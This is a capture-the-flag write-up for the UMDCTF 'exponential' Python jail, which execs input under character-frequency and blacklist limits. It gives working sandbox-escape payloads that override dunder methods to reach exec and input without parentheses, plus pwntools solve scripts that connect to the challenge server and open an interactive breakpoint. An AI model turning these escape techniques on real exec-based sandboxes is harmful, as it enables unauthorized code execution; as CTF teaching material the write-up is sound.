umdctf26_exponential_writeup.md

exponential (misc, 101 solves)

Author: @hellopir2

Description

Not achieving the promised exponential growth? Simply insider trade better.
nc challs.umdctf.io 30306

Attachments: chal.py Dockerfile

Challenge

chall.py:

#!/usr/local/bin/python
from collections import Counter

c = input("> ")[:100000] # sorry i'm poor i can't consume more tokens than that

def gen():
    s = 1
    while True:
        yield s
        s *= 2

assert all(i==j for i,j in zip(sorted(Counter(c).values()),gen()))
assert all("~">=i not in "#'\" \t\n\r\x0c\x0b" for i in c) # these tokens do not incite proper insider trading!!!

exec(c)

Overview

We are given a Python script that executes our arbitrary input c, under the following constraints:

• The character frequencies are unique, increasing powers of 2
• Must be pure ASCII and not in the character blacklist: "#'\" \t\n\r\x0c\x0b"
• len(c) <= 100000

Solution 1 (16 unique chars)

Doing the math, we can use at most 16 unique characters, and the most frequent character has to appear 2^15 = 32768 times.

One key observation here is the power of 2 restriction prevents us from using an equal number of ( and ), which makes it impossible to use parentheses without getting a SyntaxError. Unfortunately, #'" are all banned, which would otherwise allow us to hide a character in a string or a comment.

A common way to avoid parens is to override the __dunder__ attribute of an existing class:

quit.__class__.__add__ = print
quit + 123  # prints 123

Now we can test some different approaches using this idea:

# obvious approach using breakpoint (20):
quit.__class__.__pos__=breakpoint;+quit

# breakpoint is long, let's use exec(input()) instead (19):
quit.__class__.__pos__=input;quit.__class__.__add__=exec;q=+quit;quit+q

# __eq__ is shorter than __add__ (18):
quit.__class__.__pos__=input;quit.__class__.__eq__=exec;q=+quit;quit==q

# let's use __eq__ for input as well (16):
quit.__class__.__eq__=input;q=quit==quit;quit.__class__.__eq__=exec;quit==q

Great! We have a working payload in 16 unique chars. Note that the last payload abuses the fact that input takes one argument, the prompt message, so it is in fact doing exec(input(quit)).

The final part is just inserting extra characters to fulfill the power of 2 restriction, which thankfully wasn't too difficult. The solve script for it is below:

from pwn import *
from collections import Counter

p = 'exit.__class__.__ne__=input;e=exit!=exec;exit.__class__.__ne__=exec;exit!=e;e=e;e==e;e==e;e==e==e==e;'
cnt = 32
for var in 'aceilnpstx_':
    p += var * (cnt - p.count(var))
    cnt *= 2

print(p)

counts = Counter(p).most_common()[::-1]
for k, v in counts:
    print(k, ':', v)


# io = process(['python', 'chal.py'])
io = remote('challs.umdctf.io', 30306)
io.sendline(p)
io.sendline('breakpoint()')
io.interactive()

Solution 2 (15 unique chars):

After the competition ended, I was curious if it could be done in 15 unique chars. The first thing I tried was seeing if a better combination of dunders was available. I then scraped all the dunders in Python 3.13 and wrote a small script to check which dunders increase the unique chars by the least amount:

payload = 'quit.__class__.__qqq__=input;quit.__class__.__qqq__=exec;q=+quit;quit+q'

dunders = ['__abs__', '__add__', '__aenter__', '__aexit__', '__aiter__', '__and__', '__anext__', '__await__', '__bool__', '__buffer__', '__bytes__', '__call__', '__ceil__', '__class_getitem__', '__complex__', '__contains__', '__copy__', '__deepcopy__', '__del__', '__delattr__', '__delete__', '__delitem__', '__dir__', '__divmod__', '__enter__', '__eq__', '__exit__', '__float__', '__floor__', '__floordiv__', '__format__', '__fspath__', '__ge__', '__get__', '__getattr__', '__getattribute__', '__getitem__', '__getnewargs__', '__getnewargs_ex__', '__getstate__', '__gt__', '__hash__', '__iadd__', '__iand__', '__ifloordiv__', '__ilshift__', '__imatmul__', '__imod__', '__imul__', '__index__', '__init__', '__init_subclass__', '__instancecheck__', '__int__', '__invert__', '__ior__', '__ipow__', '__irshift__', '__isub__', '__iter__', '__itruediv__', '__ixor__', '__le__', '__len__', '__length_hint__', '__lshift__', '__lt__', '__match_args__', '__matmul__', '__missing__', '__mod__', '__mro_entries__', '__mul__', '__ne__', '__neg__', '__new__', '__next__', '__or__', '__pos__', '__pow__', '__prepare__', '__radd__', '__rand__', '__rdivmod__', '__reduce__', '__reduce_ex__', '__release_buffer__', '__repr__', '__reversed__', '__rfloordiv__', '__rlshift__', '__rmatmul__', '__rmod__', '__rmul__', '__ror__', '__round__', '__rpow__', '__rrshift__', '__rshift__', '__rsub__', '__rtruediv__', '__rxor__', '__set__', '__set_name__', '__setattr__', '__setitem__', '__setstate__', '__sizeof__', '__str__', '__sub__', '__subclasscheck__', '__subclasshook__', '__truediv__', '__trunc__', '__xor__']

scores = {}
for attr in dunders:
    s = len(set(attr) - set(payload))
    scores[attr] = s

for k, v in sorted(scores.items(), key=lambda x: -x[1]):
    print(v, ':', k)

Another point of flexibility is we could have used exit, license or copyright instead of quit.

However, I only ended up with a bunch of other 16s (and more variations like this that I didn't record down):

16: exit.__class__.__lt__=input;e=exit<exec;exit.__class__.__lt__=exec;exit<e
16: exit.__class__.__ne__=input;e=exit!=exec;exit.__class__.__ne__=exec;exit!=e
16: quit.__class__.__eq__=input;e=quit==exec;quit.__class__.__eq__=exec;quit==e

The next idea I had was to avoid using input(), by constructing the 2nd payload directly using our existing primitives. It turns out we can combine ascii, , and + to generate arbitrary strings.

Note that ascii is very similar to str, but luckily we already have all the chars needed for ascii, due to __class__ and exit.

This script for example execs the string exec(input()):

_,_,_,_,_,_,_,_,_,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_=ascii(quit.__class__.__lt__)
_,_,x,xe,_,xx,_,_,xee,_,_,_,_,xex,_,_,_,_,_,xxe,xxx,_,_,_=ascii(exec)
_,_,_,_,_,_,_,_,xeee,xeex,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_=ascii(quit)
exec(xxe+xxx+xxe+xex+xeee+xe+xee+e+x+xx+xeee+xeex+xeex)

We can get rid of the () by using the same trick as before:

__=exit
___=ascii
____=exec
_____=__.__class__
______=_____.__lt__
_____.__lt__=___
_,_,_,_,_,_,_,_,_,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_=__<______
_,_,x,xe,_,xx,_,_,xee,_,_,_,_,xex,_,_,_,_,_,xxe,xxx,_,_,_=__<____
_,_,_,_,_,_,_,_,xeee,xeex,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_=__<__
_____.__lt__=____
__<xxe+xxx+xxe+xex+xeee+xe+xee+e+x+xx+xeee+xeex+xeex

Now it is done in 15 unique chars. Finally, we have to pad the payload with extra chars to match the power of 2 restriction.

In order to make this work, I also had to replace __lt__ -> __le__ since it was using too many ts. Here is the final solve:

from pwn import *
from collections import Counter

p = r'''
__=exit
___=ascii
____=exec
_____=__.__class__
______=_____.__le__
_____.__le__=___
_,_,_,_,_,_,_,_,_,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_=__<=______
_,_,x,xe,_,xx,_,_,xee,_,_,_,_,xex,_,_,_,_,_,xxe,xxx,_,_,_=__<=____
_,_,_,_,_,_,_,_,xeee,xeex,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_=__<=__
_____.__le__=____
__<=xxe+xxx+xxe+xex+xeee+xe+xee+e+x+xx+xeee+xeex+xeex
'''.strip().replace('\n', ';')

charset = set(p)
print(f'{len(charset) = }')

p += ';++++++++++++++++++++...._;_==_;_;_;_,;' + '_==_,'*24

for var, cnt in zip('csilex_', [256, 512, 1024, 2048, 4096, 8192, 16384]):
    p += var * (cnt - p.count(var))

counts = Counter(p).most_common()[::-1]
for k, v in counts:
    print(k, ':', v)

# io = process(['python', 'chal.py'])
io = remote('challs.umdctf.io', 30306)
io.sendline(p)
io.sendline('breakpoint()')
io.interactive()

Solution 3 (14 unique chars):

I don't know how to do it in 14, but maybe it is possible :D (revenge??)